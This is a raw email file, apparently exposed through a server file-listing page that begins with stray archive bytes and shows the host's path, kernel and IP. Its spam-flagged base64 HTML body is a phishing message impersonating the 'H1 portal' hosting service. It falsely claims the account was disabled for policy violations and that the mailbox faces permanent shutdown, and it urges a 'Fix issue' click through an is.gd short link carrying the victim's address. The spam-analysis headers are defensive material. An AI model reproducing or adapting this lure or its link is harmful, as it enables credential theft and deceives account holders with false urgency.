PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
| Dir : /home/ithome/mail/new/ |
| Server: Linux host100322.itwesthosting.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64 IP: 144.91.64.173 |
| Dir : /home/ithome/mail/new/1773299076.M107724P11900.host100322.itwesthosting.com,S=8017,W=8147 |
Return-Path: <>
Delivered-To: ithome@host100322.itwesthosting.com
Received: from host100322.itwesthosting.com
by host100322.itwesthosting.com with LMTP
id AMVNBoRlsml8LgAAp0YrwQ
(envelope-from <>)
for <ithome@host100322.itwesthosting.com>; Thu, 12 Mar 2026 08:04:36 +0100
Return-path: <>
Envelope-to: info@h1telekom.hr
Delivery-date: Thu, 12 Mar 2026 08:04:36 +0100
Received: from 248.99.73.34.bc.googleusercontent.com ([34.73.99.248]:47154 helo=[10.88.0.4])
by host100322.itwesthosting.com with esmtp (Exim 4.96.2)
id 1w0a60-00036G-2e
for info@h1telekom.hr;
Thu, 12 Mar 2026 08:04:36 +0100
Content-Type: multipart/related; boundary="===============4725150951698478178=="
MIME-Version: 1.0
From: "H1 portal." <no-reply@h1telekom.hr>
To: info@h1telekom.hr
X-Priority: 2
X-Spam-Status: Yes, score=9.6
X-Spam-Score: 96
X-Spam-Bar: +++++++++
X-Spam-Report: Spam detection software, running on the system "host100322.itwesthosting.com",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: h1telekom.hr Hosting service Recipient: info@h1telekom.hr
This Suspicious alert is to inform you that Webmail has detected a suspicious
activitiy in your Domain. *www.h1telekom.hr*
Content analysis details: (9.6 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: is.gd]
0.0 TVD_RCVD_IP Message was received from an IP address
4.7 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL
[34.73.99.248 listed in zen.spamhaus.org]
0.0 T_MXG_EMAIL_FRAG URI with email in fragment
0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
identical to background
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[34.73.99.248 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[34.73.99.248 listed in sa-accredit.habeas.com]
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.0 KAM_SHORT Use of a URL Shortener for very short URL
1.4 MISSING_DATE Missing Date: header
0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML
tag
2.6 RDNS_DYNAMIC Delivered to internal network by host with
dynamic-looking rDNS
0.1 TO_IN_SUBJ To address is in Subject
X-Spam-Flag: YES
Subject: ***SPAM*** =?utf-8?q?Action_required=3A=5Binfo=40h1telekom=2Ehr=5D=3A_Please_confirm_to_continue=2E?=
X-From-Rewrite: unmodified, forwarded message
--===============4725150951698478178==
Content-Type: text/html; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
PHA+Jm5ic3A7PC9wPgo8ZGl2IGlkPSI6MXNwIiBjbGFzcz0iQW0gYWlMIEFsIGVkaXRhYmxlIExX
LWF2ZiB0Uy10VyB0Uy10WSIgc3R5bGU9IndpZHRoOiA2MDBweDsgaGVpZ2h0OiA2MzFweDsgZGly
ZWN0aW9uOiBsdHI7IG1pbi1oZWlnaHQ6IDM5NnB4OyIgdGFiaW5kZXg9IjEiIHJvbGU9InRleHRi
b3giIGNvbnRlbnRlZGl0YWJsZT0idHJ1ZSIgc3BlbGxjaGVjaz0iZmFsc2UiIGFyaWEtZXhwYW5k
ZWQ9ImZhbHNlIiBhcmlhLWNvbnRyb2xzPSI6MXYyIiBhcmlhLW93bnM9IjoxdjIiIGFyaWEtbGFi
ZWw9Ik1lc3NhZ2UgQm9keSIgYXJpYS1tdWx0aWxpbmU9InRydWUiPgo8ZGl2IGxhbmc9IngtdW5p
Y29kZSI+CjxkaXYgZGlyPSJsdHIiPgo8ZGl2IHN0eWxlPSJwYWRkaW5nOiAwcHg7Ij4KPHRhYmxl
IHN0eWxlPSJ3aWR0aDogMTQxOC42N3B4OyBtaW4td2lkdGg6IDEwMCU7IG1heC13aWR0aDogMTAw
JTsgYmFja2dyb3VuZC1jb2xvcjogI2U5ZWJlZTsiIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGNl
bGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgYWxpZ249ImNlbnRlciI+Cjx0Ym9keT4KPHRy
IGFsaWduPSJjZW50ZXIiPgo8dGQgYWxpZ249ImNlbnRlciI+Cjx0YWJsZSBzdHlsZT0id2lkdGg6
IDYwMHB4OyBtaW4td2lkdGg6IDM2MHB4OyBtYXgtd2lkdGg6IDYwMHB4OyIgYm9yZGVyPSIwIiB3
aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KPHRib2R5Pgo8dHI+
Cjx0ZD48c3BhbiBzdHlsZT0iZm9udC1zaXplOiBzbWFsbDsiPjxzdHJvbmc+Jm5ic3A7ICZuYnNw
OyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7
ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsg
Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7IGgxdGVsZWtvbS5ociBIb3N0aW5nIHNlcnZpY2U8
L3N0cm9uZz48L3NwYW4+PC90ZD4KPC90cj4KPC90Ym9keT4KPC90YWJsZT4KPC90ZD4KPC90cj4K
PC90Ym9keT4KPC90YWJsZT4KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogOHB0OyI+Jm5ic3A7PGJy
IC8+UmVjaXBpZW50OiA8c3Ryb25nPmluZm9AaDF0ZWxla29tLmhyPC9zdHJvbmc+PGJyIC8+PHNw
YW4gc3R5bGU9ImZvbnQtc2l6ZTogOHB0OyI+PGJyIC8+IFRoaXMgU3VzcGljaW91cyBhbGVydCBp
cyB0byBpbmZvcm0geW91IHRoYXQmbmJzcDtXZWJtYWlsJm5ic3A7aGFzIGRldGVjdGVkIGEgc3Vz
cGljaW91cyZuYnNwOzxzcGFuIHN0eWxlPSJsZXR0ZXItc3BhY2luZzogLTAuMjRweDsgZm9udC1z
aXplOiBtZWRpdW07Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOiA4cHQ7Ij5hY3Rpdml0aXkgaTwv
c3Bhbj48L3NwYW4+biB5b3VyIERvbWFpbi48YnIgLz48YnIgLz48c3BhbiBzdHlsZT0iY29sb3I6
ICMwMDAwZmY7Ij48c3Ryb25nPip3d3cuaDF0ZWxla29tLmhyKjwvc3Ryb25nPjwvc3Bhbj48YnIg
Lz48YnIgLz48c3BhbiBzdHlsZT0iZm9udC1zaXplOiA5cHQ7Ij4gQmFzZWQgb24gb3VyIHZpb2xh
dGlvbiBkZXRlY3Rpb24gdGVjaG5vbG9neSwgd2UgaGF2ZSBkaXNhYmxlZCB0aGlzIDxzcGFuIHN0
eWxlPSJjb2xvcjogIzAwMDBmZjsiPjxlbT48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxMC43cHg7
Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOiA5LjRweDsiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6
IDEwLjdweDsiPipIMSBwb3J0YWwqPC9zcGFuPjwvc3Bhbj48L3NwYW4+PC9lbT48L3NwYW4+IGFj
Y291bnQuIDxiciAvPiBQdXJzdWFudCB0byBEZWNpc2lvbiBOby46NjU5NjE4Mzc4LiBmb3ImbmJz
cDt5b3VyIGFjdGlvbiZuYnNwO3RoYXQgdmlvbGF0ZSBvdXImbmJzcDtwb2xpY3kuPC9zcGFuPjxz
dHJvbmc+PGJyIC8+PGJyIC8+IDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDlwdDsiPiBZb3VyIHBh
Z2Ugd2lsbCBubyBsb25nZXIgYmUgdmlzaWJsZSB0byB5b3VyIGN1c3RvbWVycyBhbmQgeW91ciZu
YnNwO2UtbWFpbCBhY2NvdW50IGlzIHNjaGVkdWxlZCBmb3IgcGVybWFuZW50IGRpc2FibGUuPGJy
IC8+PGJyIC8+PC9zcGFuPjwvc3Ryb25nPjwvc3Bhbj48L3NwYW4+CjxkaXY+CjxkaXY+CjxwIHN0
eWxlPSJtYXJnaW4tdG9wOiAwcHg7IG1hcmdpbi1ib3R0b206IDVweDsiPjxzcGFuIHN0eWxlPSJm
b250LXNpemU6IDlwdDsiPldlIHVuZGVyc3RhbmQgdGhhdCB0aGlzIG1heSBpbXBhY3QgeW91ciBj
dXJyZW50IGJ1c2luZXNzIGdvYWxzLiBJZiB5b3UgYmVsaWV2ZSB0aGF0IHdlIGhhdmUgbWFkZSBh
biBpbmFjY3VyYXRlIGFzc2Vzc21lbnQsIFJldmlldyB5b3VyJm5ic3A7YWN0aW9ucyBhbmQgZml4
IHRoaXMgaXNzdWU8L3NwYW4+OjwvcD4KPHRhYmxlIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNv
bGxhcHNlOyIgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRk
aW5nPSIwIj4KPHRib2R5Pgo8dHI+Cjx0ZCBzdHlsZT0iYmFja2dyb3VuZDogIzE4NzdmMjsgcGFk
ZGluZzogOHB4IDIwcHg7IGJvcmRlci1yYWRpdXM6IDZweDsgdGV4dC1hbGlnbjogY2VudGVyOyBk
aXNwbGF5OiBibG9jazsgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsiPjxjZW50ZXI+PHNwYW4g
c3R5bGU9ImZvbnQtc2l6ZTogbWVkaXVtOyI+PGEgaHJlZj0iaHR0cHM6Ly9pcy5nZC9Mc1VXUmkj
aW5mb0BoMXRlbGVrb20uaHIiPjxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmZmZmZjsgZm9udC1mYW1p
bHk6IFJvYm90by1NZWRpdW0sIFJvYm90bywgLWFwcGxlLXN5c3RlbSwgQmxpbmtNYWNTeXN0ZW1G
b250LCAnSGVsdmV0aWNhIE5ldWUnLCBIZWx2ZXRpY2EsICdMdWNpZGEgR3JhbmRlJywgdGFob21h
LCB2ZXJkYW5hLCBhcmlhbCwgc2Fucy1zZXJpZjsgdmVydGljYWwtYWxpZ246IG1pZGRsZTsiPkZp
eCZuYnNwO2lzc3VlPC9zcGFuPjwvYT48L3NwYW4+PC9jZW50ZXI+PC90ZD4KPC90cj4KPC90Ym9k
eT4KPC90YWJsZT4KPC9kaXY+CjwvZGl2Pgo8L2Rpdj4KPC9kaXY+CjwvZGl2Pgo8L2Rpdj4=
--===============4725150951698478178==--